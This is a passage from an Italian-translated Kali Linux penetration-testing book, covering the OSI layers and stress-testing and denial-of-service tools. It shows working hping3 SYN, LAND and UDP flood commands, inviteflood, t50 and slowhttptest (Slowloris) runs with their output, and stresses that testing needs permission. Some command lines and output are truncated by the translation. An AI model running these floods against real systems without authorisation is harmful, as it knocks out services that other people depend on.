livello. Se voglio parlare con te dal mio dulce de leche al tuo dulce de
leche (perché chi altro potrebbe capire dulce de leche se non un altro
dulce de leche), dovrei usare l'indirizzo MAC perché è l'unico indirizzo che
la tua interfaccia di rete e la mia interfaccia di rete capiscono. L'indirizzo è
fisicamente cablato nell'interfaccia stessa, motivo per cui a volte è
chiamato indirizzo fisico . Nell'esempio 2-2 , è possibile vedere un indirizzo
MAC nella seconda colonna dall'output del programma ifconfig .
Esempio 2-2. Indirizzo MAC
ether 52:54:00:11:73:65
txqueuelen 1000
(Ethern
Il livello successivo che incontriamo, attraversando di nuovo la nostra
glassa e la nostra marmellata per distinguerle chiaramente, è Nilla Wafer
(vaniglia), il nostro livello di rete . Al livello Nilla Wafer (rete), ci indirizziamo
usando indirizzi IP. Questo è anche l'indirizzo che ci consente di passare al
di fuori della nostra rete locale. L'indirizzo MAC non passa mai al di fuori
della rete locale. L'indirizzo IP, invece, sì. Poiché possiamo comunicare con
diverse panetterie, tutte con torte progettate esattamente come le nostre,
usando indirizzi IP, questo è il livello che abilita il routing. È l'indirizzo di
routing che ci consente di ottenere indicazioni da una panetteria all'altra
usando l'indirizzo IP. L'esempio 2-3 mostra un indirizzo IP, che comprende 4
byte, a volte noti come ottetti perché sono lunghi 8 bit ciascuno. Questo è
un indirizzo IP versione 4. Gli indirizzi IP versione 6 sono lunghi 16 byte
(128 bit), rappresentati come valori esadecimali. Come nell'esempio
precedente, questo è dall'output di ifconfig . Puoi vedere sia gli indirizzi
IPv4 che IPv6 qui.
Esempio 2-3. Indirizzo IP
inet 192.168.1.253 netmask 255.255.255.0 broadc
inet6 fe80::20c:29ff:fee2:e2c5 prefixlen 64 sco
inet6 fd23:5d5f:cd75:40d2:20c:29ff:fee2:e2c5
pre
inet6 fd23:5d5f:cd75:40d2:2627:83d5:9f9b:59ec p
inet6 2601:18d:8b7f:e33a::d9 prefisso lunghezza
128 scop
Il quarto strato della nostra torta è lo strato di bacche di tè ( trasporto ).
Sì, sarà una torta dal sapore strano, ma seguitemi.
Inoltre, se non sai cos'è il teaberry, dovresti cercarlo.
La gomma Teaberry è molto buona. Quindi, lo strato Teaberry ci fornisce
porte. Questa è un'altra forma di indirizzamento. Pensala in questo modo:
una volta che arrivi al panificio, devi sapere quale scaffale stai cercando. È
la stessa cosa con le porte. Una volta che hai trovato il tuo panificio con
l'indirizzo IP, devi trovare lo scaffale nel panificio, che è la tua porta. La
porta ti collegherà a un servizio (programma) che è in esecuzione e si è
collegato a quello scaffale (porta). Ci sono porte note su cui vengono
eseguiti determinati servizi. Queste sono registrate e mentre i servizi (ad
esempio, il server web) possono collegarsi a una porta diversa e ascoltare
su quella, la porta nota è comune perché è quella che tutti sanno cercare.
Al livello 5, diventa impegnativo, semplicemente perché questo livello non
è sempre ben compreso. Il quinto livello è la fragola, perché abbiamo
bisogno di un po' di frutta nella nostra torta, anche se è solo un aroma di
frutta. Questo è il livello di sessione . Il livello di sessione riguarda il
coordinamento di comunicazioni di lunga data per assicurarsi che tutto sia
sincronizzato. Puoi pensarlo come il livello di sessione che assicura che
quando tu e io mangiamo le nostre fette di torta nello stesso momento
(comunicando), stiamo andando allo stesso ritmo, quindi iniziamo e
finiamo nello stesso momento. Se abbiamo bisogno di fermarci e bere un
sorso d'acqua, il livello di sessione si assicurerà che lo facciamo nello stesso
momento. Se vogliamo bere latte anziché acqua, il livello di sessione si
assicurerà che siamo completamente sincronizzati in modo che possiamo
iniziare e finire nello stesso momento e sostanzialmente apparire uguali
mentre mangiamo. Perché è tutto una questione di come appare.
Il che ci porta allo strato di burro di arachidi, perché cos'è una torta senza
burro di arachidi? Soprattutto se abbiamo della marmellata nella nostra
torta. Questo è lo strato di presentazione . Lo strato di presentazione si
occupa di far sì che tutto sembri OK e corretto. Lo strato di presentazione si
assicurerà che non ci siano briciole dappertutto, ad esempio, assicurandosi
che ciò che ti metti in bocca sembri effettivamente una torta.
Infine, abbiamo lo strato di amaretto. Questo è lo strato applicativo . In
definitiva, questo è lo strato che si trova più vicino a chi mangia (utente).
Questo prende ciò che esce dallo strato di presentazione e lo porta
all'utente in un modo che possa essere consumato come l'utente si aspetta
che venga consumato. Un elemento importante dell'analogia della torta è
che quando usi la forchetta per prendere un boccone, tagli gli strati
dall'amaretto al pistacchio. È così che lo carichi sulla forchetta. Quando
viene consumato, tuttavia, entra nella tua bocca prima con l'estremità del
pistacchio. Questo è lo stesso modo in cui inviamo e riceviamo messaggi di
dati. Sono costruiti dallo strato applicativo verso il basso e inviati. Quando
vengono ricevuti, vengono consumati dallo strato fisico verso l'alto,
estraendo le intestazioni a ogni strato per esporre lo strato successivo.
Mentre lavoriamo sui test di rete, potremmo lavorare su diversi livelli della
nostra torta. Ecco perché è importante capire cos'è ogni livello. Devi capire
le aspettative di ogni livello in modo da poter determinare se il
comportamento che stai osservando è corretto. Ci occuperemo di test su
più livelli man mano che andiamo avanti, ma in genere ogni strumento che
esamineremo punterà a un livello specifico. La comunicazione di rete
riguarda il consumo dell'intera torta, ma a volte dobbiamo concentrare i
nostri sforzi (papille gustative) su un livello specifico per assicurarci che
abbia il sapore corretto da solo, al di fuori del contesto del resto della
torta, anche se dobbiamo consumare l'intera torta per ottenere quello
strato.
Test di stress
Alcuni software, e persino hardware, hanno difficoltà a gestire carichi
enormi. Nel caso dell'hardware, come i dispositivi appositamente costruiti
o quelli che rientrano nella categoria dell'Internet of Things (IoT),
potrebbero esserci diversi motivi per cui non riesce a sopravvivere a molto
traffico. Il processore integrato nell'interfaccia di rete potrebbe essere
sottodimensionato perché la progettazione del dispositivo complessivo
non prevedeva di vedere molto traffico. L'applicazione potrebbe essere
scritta male e, anche se integrata nell'hardware, un'applicazione mal
progettata può comunque causare problemi. Di conseguenza, è importante
che i tester di sicurezza si assicurino che i sistemi infrastrutturali di cui sono
responsabili non crollino semplicemente quando accade qualcosa di
brutto.
Potrebbe essere facile pensare allo stress testing come ad attacchi
flooding. Tuttavia, ci sono altri modi per stressare le applicazioni. Un modo
è inviare all'applicazione dati inaspettati che potrebbe non sapere come
gestire. Esistono tecniche per gestire questo tipo di attacco, quindi ci
concentreremo principalmente sui sistemi sovraccarichi qui e ci
occuperemo degli attacchi fuzzing, in cui generiamo deliberatamente dati
fasulli, più avanti. Detto questo, però, in alcuni casi gli stack di rete nei
dispositivi embedded potrebbero non essere in grado di gestire un traffico
che non sembra come dovrebbe.
AVVERTIMENTO
Devi assicurarti che i sistemi su cui stai lavorando, specialmente quando potrebbero esserci danni o
interruzioni, e quasi tutto ciò di cui parleremo ha quel potenziale, siano tuoi o sistemi per cui hai il
permesso di testare. È immorale come minimo e probabilmente persino illegale testare un sistema che
non possiedi o per cui non hai il permesso di testare. Testare, non importa quanto possa sembrare
semplice, ha sempre il potenziale di causare danni. Ottieni sempre il tuo permesso per iscritto!
In definitiva, qualsiasi errore risultante da uno stress test è un problema di
disponibilità. Se il sistema si blocca, nessuno può accedere a nulla. Se
l'applicazione fallisce, il servizio non è disponibile per gli utenti. Ciò che stai
eseguendo è un attacco denial-of-service. Di conseguenza, è importante
fare attenzione quando si eseguono questi tipi di attacchi. Hanno
sicuramente implicazioni etiche, come notato in precedenza, ma sollevano
anche possibilità molto concrete di causare danni, tra cui interruzioni
significative dei servizi rivolti ai clienti. Ne parleremo più avanti. Un modo
semplice per eseguire lo stress test è utilizzare uno strumento come
hping3 . Questo favoloso strumento può essere utilizzato per creare
pacchetti sulla riga di comando. In sostanza, dici a hping3 su cosa vuoi che
siano impostati i campi e creerà il pacchetto nel modo desiderato.
Ciò non significa che devi sempre specificare tutti i campi. Puoi specificare
ciò che vuoi e hping3 riempirà il resto dei campi negli header IP e di
trasporto come al solito. hping3 è in grado di fare flooding non
preoccupandosi di attendere alcuna risposta o addirittura non
preoccupandosi di usare alcun periodo di attesa. Lo strumento invierà tutto
il traffico possibile, il più velocemente possibile. Puoi vedere l'output dello
strumento nell'Esempio 2-4 .
Esempio 2-4. Utilizzo di hping3 per l'allagamento
kilroy@rosebud:~$ sudo hping3 --flood -S -p 80 19
HPING 192.168.86.1 (eth0 192.168.86.1): S
impostato, 40 hping in modalità flood, nessuna
risposta verrà mostrata ^C
--- 192.168.86.1 statistica hping --75425
pacchetti trasmessi, 0 pacchetti ricevuti, 10
round-trip min/media/max = 0,0/0,0/0,0 ms
NOTA
Nelle versioni precedenti di Kali e prima ancora di BackTrack, si accedeva come utente root. Non
veniva creato alcun account utente separato durante l'installazione. Ciò significava che tutto veniva
eseguito come utente root per impostazione predefinita, il che è un grave no-no per la sicurezza.
Attualmente, Kali ti fa creare un account utente normale. Proprio come con altre distribuzioni Linux,
per eseguire attività che richiedono privilegi amministrativi, come la creazione di pacchetti come fa
hping3 , devi usare il comando sudo .
Quando ho eseguito questo, ero connesso al mio sistema Kali da remoto.
Non appena l'ho avviato, ho provato a eliminarlo perché avevo l'output che
stavo cercando. Tuttavia, il sistema stava stipando pacchetti lungo il cavo (e
ottenendo risposte) il più velocemente possibile. Ciò ha reso difficile
ottenere il Ctrl-C che stavo cercando di inviare al mio sistema Kali, il che
significa che hping3 non stava morendo, stava solo inviando allegramente
molti pacchetti nella rete (fortunatamente, ho usato la mia rete locale per
testare piuttosto che provare a testare il sistema di qualcun altro). Il
sistema operativo e la rete erano altrimenti impegnati, quindi non c'è stata
risposta per un lungo periodo di tempo. Nell'esempio 2-4 , sto usando
hping3 per inviare messaggi SYN alla porta 80. Questo è un flood SYN. In
questo esempio, sto testando non solo la capacità del sistema di gestire il
flood nello stack di rete (sistema operativo) con solo la capacità
dell'hardware e del sistema operativo di rispondere al traffico, ma anche il
livello di trasporto.
Il sistema operativo deve contenere una piccola porzione di memoria con
connessioni Transport Control Protocol (TCP). Anni fa, il numero di slot
disponibili per questi messaggi iniziali, chiamati connessioni semi-aperte ,
non era molto grande. Ci si aspettava che il sistema di connessione si
comportasse bene e completasse la connessione, a quel punto spettava
all'applicazione gestirla. Una volta esaurito il numero di slot disponibili per
accettare connessioni semi-aperte, non verranno accettate nuove
connessioni, comprese quelle provenienti da client legittimi. Oggigiorno, la
maggior parte dei sistemi è molto più in grado di gestire i flood SYN. Il
sistema operativo gestirà semplicemente queste connessioni in entrata
semi-aperte e le eliminerà utilizzando una serie di tecniche, tra cui la
riduzione del periodo di timeout durante il quale la connessione può
essere semi-aperta.
Questo test usa messaggi SYN ( -S ) sulla porta 80 ( -p 80 ). L'idea è che
dovremmo ricevere un messaggio SYN/ACK come seconda fase
dell'handshake a tre vie. Non devo specificare un protocollo perché questo
si ottiene semplicemente dicendo che voglio inviare un messaggio SYN.
TCP è l'unico protocollo che ha il messaggio SYN.
Infine, dico a hping3 che voglio che usi la modalità flood ( --flood ). Altri
flag della riga di comando faranno la stessa cosa specificando la velocità di
interleave (la quantità di tempo da attendere prima di inviare il messaggio
successivo). In questo modo, è più facile da ricordare e anche piuttosto
esplicito.
NOTA
Il programma hping ha attraversato diverse versioni, come puoi probabilmente intuire dall'uso del 3
alla fine. Questo strumento è comunemente disponibile su più distribuzioni Linux. Puoi chiamare il
programma con hping su alcuni sistemi, mentre su altri potresti dover specificare il numero di versione
, ad esempio hping2 o hping3 .
hping3 è utile anche per i test di packet-crafting, in cui si creano pacchetti
che semplicemente non dovrebbero esistere nel mondo reale per vedere
se il sistema di destinazione può gestirli. Con questo strumento è possibile
quasi ogni tipo di attacco packet-mangling a cui si possa pensare. Ad
esempio, c'è stato un attacco denial-of-service chiamato attacco LAND ,
che è l'abbreviazione di "local area network denial of service". In questo
attacco, si invia un messaggio SYN a un dispositivo con l'indirizzo sorgente
uguale a quello di destinazione. Se lo stack di rete sul lato ricevente non è
in grado di riconoscerlo, il sistema invierà un SYN/ACK alla destinazione,
che è se stessa. Ciò potrebbe causare un ciclo infinito di messaggi
sull'interfaccia di rete. Verso la fine degli anni '90, molti sistemi operativi
erano vulnerabili a questo, e ciò poteva causare crash del sistema
operativo. Sebbene sia stato ampiamente risolto nei sistemi operativi,
alcuni servizi sono stati scoperti vulnerabili. Inoltre, molte organizzazioni
hanno sistemi operativi legacy che potrebbero essere ancora suscettibili e,
a volte, i dispositivi potrebbero essere vulnerabili, a seconda del sistema
operativo incorporato. Tuttavia, la dimostrazione dell'attacco LAND, come
visto nell'esempio 2-5 , mostra alcune delle cose che hping3 può fare.
Vedrai anche la cattura dei pacchetti che mostra alcuni dei messaggi che
sono stati generati per mostrare che gli indirizzi di origine e destinazione
sono gli stessi. Lo strumento stesso non genera alcun output perché non
vengono mai ricevute risposte. Il flag -a che vedi qui falsificherà un
indirizzo di origine.
Esempio 2-5. Utilizzo di hping3 per un attacco LAND
┌──(kilroy@badmilo)-[~] └─$ sudo hping3 -S -p 80
192.168.1.1 -a 192.168.
HPING 192.168.1.1 (eth0 192.168.1.1): impostato
su S, 40 h
Italiano: 18:20:58.843654 IP 192.168.1.1.2258 >
192.168.1.
vittoria 512, lunghezza 0 18:20:59.844076 IP
192.168.1.1.2259 > 192.168.1.
vittoria 512, lunghezza 0 18:21:00.844382 IP
192.168.1.1.2260 > 192.168.1.
vittoria 512, lunghezza 0 18:21:01.844912 IP
192.168.1.1.2261 > 192.168.1.
vittoria 512, lunghezza 0 18:21:02.845663 IP
192.168.1.1.2262 > 192.168.1.
vittoria 512, lunghezza 0 18:21:03.846443 IP
192.168.1.1.2263 > 192.168.1.
vittoria 512, lunghezza 0 18:21:04.847084 IP
192.168.1.1.2264 > 192.168.1. vittoria 512,
lunghezza 0
Tutti i flag TCP sono disponibili per essere modificati in qualsiasi modo
desideri. Tuttavia, non sei limitato a cose semplici come i messaggi TCP
SYN. Puoi anche inviare User Datagram Protocol
(UDP) messaggi. L'esempio 2-6 mostra un messaggio UDP. In questo
esempio, la porta sorgente è impostata su 0, che non è una porta che
dovrebbe essere utilizzata. Sarebbe insolito vederlo nel traffico normale.
Puoi anche vedere che abbiamo impostato l'indirizzo sorgente in modo
casuale. Questa è una cosa a cui dovresti fare molta attenzione, tuttavia.
Tieni presente che quando invii messaggi con un indirizzo sorgente casuale,
le risposte a qualsiasi cosa tu invii verranno inviate a quell'indirizzo
sorgente casuale. Se stai osservando il traffico di rete, vedrai le risposte
provenienti dagli host su Internet a cui sono state inviate le risposte ai tuoi
messaggi. Confuso? Fai solo attenzione al traffico di rete che stai inviando
perché se sei connesso in qualche modo a Internet, quel traffico uscirà e
potrebbe causare problemi.
Esempio 2-6. Utilizzo di hping3 per messaggi UDP
──(kilroy@badmilo)-[~]
└─$ sudo hping3 --udp --rand-source --baseport 0
HPING 192.168.1.15 (eth0 192.168.1.15): modalità
udp Porta ICMP non raggiungibile da
ip=192.168.1.15 nome=U stato=0 porta=8 sequenza=8
Porta ICMP non raggiungibile da ip=192.168.1.15
nome=U stato=0 porta =9 seq=9 Porta ICMP non
raggiungibile da ip=192.168.1.15 nome=U stato=0
porta=11 seq=11
I test ai livelli inferiori dello stack di rete tramite strumenti come hping3
possono portare a problemi sui sistemi, in particolare sui dispositivi più
fragili. Tuttavia, guardando più in alto nello stack di rete, Kali Linux ha
numerosi strumenti che affronteranno diversi servizi. Quando pensi a
Internet, quale servizio ti viene in mente per primo? Spotify? Facebook?
Twitter? Instagram? Tutti questi sono offerti tramite HTTP, quindi
interagisci, spesso, con un server Web. Non sorprende che possiamo
occuparci di testare i server Web. Questo è diverso dall'applicazione in
esecuzione sul server Web, che è una cosa completamente diversa e
qualcosa di cui ci occuperemo molto più avanti. Nel frattempo, vogliamo
assicurarci che i server Web stessi rimangano attivi.
Kali è dotato di test per altri protocolli, tra cui la sessione
Initiation Protocol (SIP) e Real-time Transport Protocol (RTP), entrambi
utilizzati per Voice over IP (VoIP). SIP utilizza un set di comandi di
protocollo simili a HTTP per interagire tra server ed endpoint. Quando un
endpoint desidera avviare una chiamata, invia una richiesta INVITE. Per
ottenere l'INVITE al destinatario, dovrà essere inviato tramite più server o
proxy. Poiché VoIP è un'applicazione mission-critical nelle aziende che la
utilizzano, può essere essenziale determinare se i dispositivi nella rete sono
in grado di resistere a un gran numero di richieste.
SIP può usare TCP o UDP come trasporto, sebbene le versioni precedenti
del protocollo favorissero UDP come protocollo di trasporto. Di
conseguenza, alcuni strumenti, in particolare se sono più vecchi, tendono a
usare UDP. Le implementazioni moderne supportano non solo TCP ma
anche Transport Layer Security (TLS) per garantire che le intestazioni non
possano essere lette. Tieni presente che SIP è basato su HTTP, il che
significa che tutte le intestazioni e le altre informazioni sono basate su
testo, a differenza di H.323, un altro protocollo VoIP, che è binario e
generalmente non può essere letto visivamente senza qualcosa che
decodifichi il protocollo. Lo strumento inviteflood usa UDP come protocollo
di trasporto, senza la possibilità di passare a TCP. Questo ha, tuttavia, il
vantaggio di consentire al flood di avvenire più velocemente perché non
c'è tempo di attesa per stabilire la connessione. Nell'esempio 2-7 , puoi
vedere un'esecuzione di inviteflood . Questo non è installato di default su
Kali Linux, quindi dovrai installarlo prima di poterlo usare. Noterai la
vecchia data a cui si fa riferimento con la versione. Questa è ancora la
versione più recente.
Esempio 2-7. Inondazione di inviti SIP
kilroy@rosebud:~$ sudo inviteflood eth0 kilroy du
inviteflood - Versione 2.0 9
giugno 2006
indirizzo
IPv4
di
origine:porta
=
192.168.86.35:9
indirizzo
IPv4
di
destinazione:porta = 192.168.86.238:5060 UA di
destinazione = kilroy@dummy.com
Destinazione flooding con 150000 pacchetti
inviati: 150000
Possiamo analizzare cosa sta succedendo sulla riga di comando.
Innanzitutto, specifichiamo l'interfaccia che inviteflood dovrebbe usare per
inviare i messaggi. Poi c'è il nome utente. Poiché SIP è un protocollo VoIP, è
possibile che questo possa essere un numero, come un numero di
telefono. In questo caso, sto prendendo di mira un server SIP che è stato
configurato con nomi utente. Dopo il nome utente c'è il dominio per il
nome utente. Questo potrebbe essere un indirizzo IP, a seconda di come è
configurato il server di destinazione. Se non conosci il dominio per gli
utenti, puoi provare a usare l'indirizzo IP del sistema di destinazione. In
quel caso, avresti lo stesso valore due volte, poiché la destinazione è il
valore successivo sulla riga di comando. Alla fine c'è il numero di richieste
da inviare. Quelle 150.000 richieste hanno impiegato secondi per essere
inviate, il che significa che il server era in grado di supportare un grande
volume di richieste al secondo.
Prima di passare ad altre questioni, dobbiamo parlare di IPv6. Sebbene non
sia necessariamente utilizzato come protocollo di trasporto dalla tua rete a
qualsiasi altra rete, può essere utilizzato. Se dovessi connetterti a Google,
ad esempio, molto probabilmente verrebbe comunque eseguito tramite
IPv4 dalla tua rete. Cito Google in particolare perché pubblica un indirizzo
IPv6 tramite i suoi server Domain Name System (DNS). Google è ben lungi
dall'essere l'unica, ma è stata sicuramente una delle prime aziende a farlo.
Oltre a poter inviare IPv6 tramite Internet, tuttavia, potresti benissimo
utilizzare IPv6 su reti locali. Anche se IPv6 sta per compiere 30 anni al
momento in cui scrivo, non ha avuto lo stesso periodo di rodaggio di IPv4 e
ci sono voluti decenni per scacciare alcuni dei bug più eclatanti da varie
implementazioni IPv4. Tutto questo per dire che nonostante il tempo che i
fornitori di sistemi operativi come Microsoft e il team Linux hanno dedicato
allo sviluppo e ai test, è possibile che alcuni dispositivi possano avere
problemi con le implementazioni IPv6.
Kali include due suite di strumenti di test IPv6. Ogni suite ha una buona
raccolta di strumenti, perché alla fine, IPv6 include più di semplici
modifiche all'indirizzamento. Un'implementazione completa di IPv6
include indirizzamento, configurazione host, sicurezza, multicasting,
datagrammi di grandi dimensioni, elaborazione router e alcune altre
differenze. Poiché si tratta di aree funzionali diverse, sono necessari più
script per gestirle.
Il comportamento di IPv6 sulla rete locale è cambiato. Invece di usare
l'Address Resolution Protocol (ARP) per identificare i vicini sulla rete locale,
IPv6 sostituisce e migliora quella funzionalità tramite nuovi messaggi
Internet Control Message Protocol (ICMP). Con IPv6 arriva il Neighbor
Discovery Protocol, che viene usato per aiutare un sistema a connettersi
alla rete fornendo dettagli sulla rete locale. ICMPv6 è stato migliorato con i
messaggi Router Solicitation e Router Advertisement, così come con i
messaggi Neighbor Solicitation e Neighbor Advertisement. Questi quattro
messaggi aiutano a collocare un sistema su una rete con tutte le
informazioni rilevanti necessarie, inclusi il gateway locale e i server dei
nomi di dominio usati su quella rete.
Saremo in grado di testare alcune di queste funzionalità per determinare
come un sistema potrebbe comportarsi sotto carico, ma possiamo anche
manipolare i messaggi in modi che potrebbero causare un comportamento
anomalo del sistema di destinazione. Gli strumenti na6 , ns6 , ra6 e rs6 si
concentrano tutti sull'invio di messaggi arbitrari alla rete utilizzando i
diversi messaggi ICMPv6 indicati in precedenza. Mentre la maggior parte
dei sistemi fornirà informazioni ragionevoli alla rete, al meglio delle loro
conoscenze e configurazioni, questi strumenti ci consentono di iniettare
messaggi potenzialmente interrotti nella rete per vedere come si
comportano i sistemi con tali messaggi. Oltre a questi programmi, la suite
fornisce tcp6 , che può essere utilizzato per inviare messaggi TCP arbitrari
alla rete, consentendo la possibilità di attacchi basati su TCP.
NOTA
Gli strumenti a cui si fa riferimento qui sono disponibili nel pacchetto ipv6toolkit . Questo non è
installato nell'installazione predefinita di Kali Linux, tuttavia.
Un altro strumento che può essere utilizzato per lo stress test in Kali Linux
è t50 . Supporta più protocolli, tra cui TCP, UDP, RIP, IGMP, OSPF e molti
altri. Oltre a poter inviare messaggi specifici per protocollo, t50 supporta la
modalità flooding, sebbene non tutti i protocolli supportino il flooding.
L'esempio 2-8 mostra non solo un elenco di protocolli supportati da t50 ,
ma anche l'uso di t50 per inondare i messaggi IGMP versione 1.
Esempio 2-8. Utilizzo di t50 per inondare i messaggi IGMP
┌──(kilroy@badmilo)-[~]
└─$ sudo t50 -l
Strumento di iniezione di pacchetti misti
sperimentale T50 v5.8
Originariamente creato da Nelson Brito
<nbrito@sekure
Precedentemente gestito da Fernando Mercês
<fernand
Manutenuto da Frederico Lamberti Pissarra <frede
[INFO] Elenco dei protocolli supportati (-protocol)
1 - ICMP (Internet Control Message
2 - IGMPv1 (Messaggio di gruppo Internet P
3 - IGMPv3 (Messaggio di gruppo Internet P
4 - TCP (Trasmissione Controllo Pro
5 - EGP (protocollo di accesso esterno)
6 - UDP (protocollo datagramma utente)
7 - RIPv1 (Routing Internet Protocol)
8 - RIPv2 (Routing Internet Protocol)
9 - DCCP (Controllo della congestione dei
datagrammi)
10 - RSVP (Prenotazione risorse Pro)
11 - IPSEC (Internet Security Protocol)
12 - EIGRP (Enhanced Interior Gatewa
13 - OSPF (Open Shortest Path First
┌──(kilroy@badmilo)-[~]
└─$ sudo t50 192.168.1.1 --protocollo IGMPv1 -floo
Strumento di iniezione di pacchetti misti
sperimentale T50 v5.8
Originariamente creato da Nelson Brito
<nbrito@sekure
Precedentemente gestito da Fernando Mercês
<fernand
Manutenuto da Frederico Lamberti Pissarra <frede
[INFO] Entrata in modalità flood...[INFO]
Esecuzione di st [INFO] Premi Ctrl+C per
interrompere...
[INFORMAZIONI] PID=46521
[INFO] t50 5.8.7b lanciato con successo martedì
10 giugno
[INFO] (PID:46521) pacchetti: 302395 (8467060 di
[INFO] (PID:46521) throughput: 52449,93
pacchetti/s
Indipendentemente dal tipo di stress testing che stai eseguendo, è
importante tenere quante più note possibili in modo da poter fornire
informazioni dettagliate su cosa stava succedendo quando si è verificato un
guasto. Monitoraggio e registrazione sono importanti in questo caso.
Strumenti di negazione del servizio
Il denial of service non è la stessa cosa dello stress testing. L'obiettivo può
essere diverso quando si tratta di utilizzare i due set di strumenti. Lo stress
testing è comunemente eseguito dagli strumenti di sviluppo per essere in
grado di fornire metriche di prestazioni. Viene utilizzato per determinare la
funzionalità di un programma o di un sistema sotto stress, che si tratti dello
stress del volume o dello stress dei messaggi malformati. C'è una linea
sottile, però. In alcuni casi, lo stress testing causerà un errore
dell'applicazione o del sistema operativo. Ciò si tradurrà in un attacco
denial-of-service. Tuttavia, lo stress testing può anche portare solo a picchi
di CPU o memoria. Anche queste sono scoperte preziose, che creano
un'opportunità per migliorare la programmazione. I picchi di CPU o
memoria sono bug e i bug dovrebbero essere sradicati. Ciò che stiamo
esaminando in questa sezione sono programmi sviluppati specificamente
allo scopo di abbattere i servizi.
Attacco di Slowloris
Proprio come il SYN flood che intende riempire la coda di connessione
parziale, ci sono attacchi che faranno cose simili a un server web. Le
applicazioni non hanno necessariamente risorse illimitate a loro
disposizione. Spesso ci sono limiti alle connessioni che il server applicativo
prenderà. Ciò dipende da come è progettata l'applicazione e non tutti i
server web sono suscettibili a questi attacchi. Un punto da notare qui è che
i dispositivi incorporati spesso hanno risorse limitate quando si tratta di
memoria e processore. Pensa a qualsiasi dispositivo che abbia un server
web per la gestione remota: il tuo punto di accesso wireless, il tuo
modem/router via cavo, una stampante. Questi dispositivi hanno server
web per semplificare la gestione, ma lo scopo principale di questi
dispositivi non è fornire servizi web; è di agire come un punto di accesso
wireless, un modem/router via cavo o una stampante. Le risorse per questi
dispositivi saranno principalmente applicate alla funzione prevista dal
dispositivo.
Questi dispositivi sono un posto in cui utilizzare questo tipo di test, perché
semplicemente non si aspettano molte connessioni. Ciò significa che un
attacco come Slowloris potrebbe essere in grado di mettere offline questi
server, negando il servizio a chiunque altro possa provare a connettersi.
L'attacco Slowloris è progettato per mantenere aperte molte connessioni a
un server web. La differenza tra questo attacco e un attacco flooding è che
questo è un attacco slow play. Non è un flood. Invece, lo strumento di
attacco mantiene aperta la connessione inviando piccole quantità di dati
per un lungo periodo di tempo. Il server manterrà queste connessioni
finché lo strumento di attacco continuerà a inviare anche piccole quantità
di richieste parziali di dati che non vengono mai completate.
Slowloris non è l'unico tipo di attacco che colpisce i server web, però. Un
altro è Apache Killer, che invia byte in blocchi che si sovrappongono. Il
server web, nel tentativo di mettere insieme i blocchi, alla fine esaurisce la
memoria nel tentativo di farlo funzionare correttamente. Questa è stata
una vulnerabilità trovata sia nella versione 1.x che 2.x di Apache.
Un programma disponibile per Kali è slowhttptest . Utilizzando
slowhttptest , puoi lanciare uno dei quattro attacchi HTTP al tuo target. Il
primo è un attacco slow header, altrimenti noto come Slowloris (come
notato in precedenza). Il secondo è un attacco slow body, altrimenti noto
come RU-Dead-Yet. È disponibile anche l'attacco range, noto come Apache
Killer, così come un attacco slow read. Tutti questi sono essenzialmente
l'inverso degli attacchi flooding discussi in precedenza, in quanto
realizzano il diniego di servizio con un numero limitato di messaggi di rete.
Nell'esempio 2-9 , l'attacco slow header predefinito (Slowloris) è stato
eseguito contro Apache sul mio box Kali. Nessun traffico ha lasciato il mio
sistema e puoi vedere che dopo il 26° secondo il test è terminato senza più
connessioni disponibili. Naturalmente, questa era una configurazione di
base del server web con pochi thread. Un'applicazione web con più server
web disponibili per gestire il carico sopravvivrebbe molto più a lungo.
Esempio 2-9. Output slowhttp
┌──(kilroy@badmilo)-[~] └─$ slowhttptest H -u http://192.168.1.15
slowhttptest versione 1.8.2 https://github.com/shekyan/slowhttptest tipo di
test: SLOW HEADERS numero di connessioni: 50
URL: http://192.168 verbo: GET cookie: ContentLength valore dell'intestazione: 4096 dimensione
massima dei dati di follow-up: 68 intervallo tra
i dati di follow-up: 10 secondi connessioni al
secondo: 50 timeout della connessione di prova:
5 secondi durata del test: 240 secondi utilizzo
del proxy: nessun proxy
Mar 13 giu 19:05:51 2023: stato test
HTTP lento al 10° secondo:
inizializzazione: 0 in attesa:
0
connected:
error:
50
0
closed:
service available:
0
YES
Il server Apache preso di mira qui utilizza più processi figlio e più thread
per gestire le richieste. I limiti sono impostati nella configurazione di
Apache: il valore predefinito qui è 2 server, un limite di thread di 64, 25
thread per figlio e un massimo di 150 request worker. Non appena il
numero di connessioni disponibili è stato raggiunto al massimo da
slowhttptest , il numero di processi Apache era 54 su questo sistema. Ciò
significherebbe 53 processi figlio e un processo padre. Per gestire il
numero di connessioni richieste per le richieste effettuate, Apache ha
generato più figli e avrebbe avuto più thread per figlio. Sono molti i
processi avviati. Considerando che il server Apache in esecuzione era
completamente aggiornato al momento della stesura di questo articolo,
sembra chiaro che questi tipi di attacchi possono avere successo,
nonostante siano in circolazione da molti anni. Ovviamente, come notato
in precedenza, ciò dipende interamente dall'architettura del sito
sottoposto a test.
S Test di stress basati su SL
Un altro attacco basato sulle risorse che non riguarda la larghezza di banda,
ma piuttosto l'utilizzo del processore, mira ai requisiti di elaborazione per
la crittografia. Per molto tempo, i siti di e-commerce hanno utilizzato
Secure Sockets Layer (SSL) o TLS per mantenere la crittografia tra il client e
il server per garantire la privacy di tutte le comunicazioni. Sebbene sia
spesso ancora indicato come SSL/TLS, SSL è stato deprecato dal 2015. TLS è
in uso da più tempo di SSL. Di conseguenza, qui lo vedrai indicato come
TLS, poiché è quello che stiamo utilizzando. Oggigiorno, molti server
utilizzano TLS. Se provi a cercare su Google, vedrai che è crittografato per
impostazione predefinita. Allo stesso modo, molti altri grandi siti, come
Microsoft e Apple, crittografano tutto il traffico per impostazione
predefinita. Se provi a visitare il sito utilizzando un URL specificando http://
anziché https:// , scoprirai che il server converte automaticamente la
connessione in https .
Il problema di TLS, tuttavia, è che la crittografia richiede potenza di
elaborazione. I processori moderni sono più che in grado di tenere il passo
con i normali carichi di crittografia, soprattutto perché gli algoritmi di
crittografia moderni sono generalmente efficienti con l'utilizzo del
processore. Tuttavia, qualsiasi server che utilizza TLS comporta un
sovraccarico di elaborazione. Innanzitutto, i messaggi inviati dal server
sono generalmente più grandi, il che significa che è necessaria più
elaborazione per crittografare quei messaggi più grandi rispetto a
crittografare i messaggi relativamente piccoli provenienti da un client.
Inoltre, il sistema client probabilmente invia solo pochi messaggi alla volta,
mentre ci si aspetta che il server crittografi i messaggi a un numero di client
simultanei, che potrebbero avere tutti più connessioni simultanee in arrivo
sul server. Il carico deriva principalmente dalla creazione delle chiavi
necessarie per crittografare la sessione.
In Kali esistono capacità per indirizzare servizi e capacità obsoleti. Il
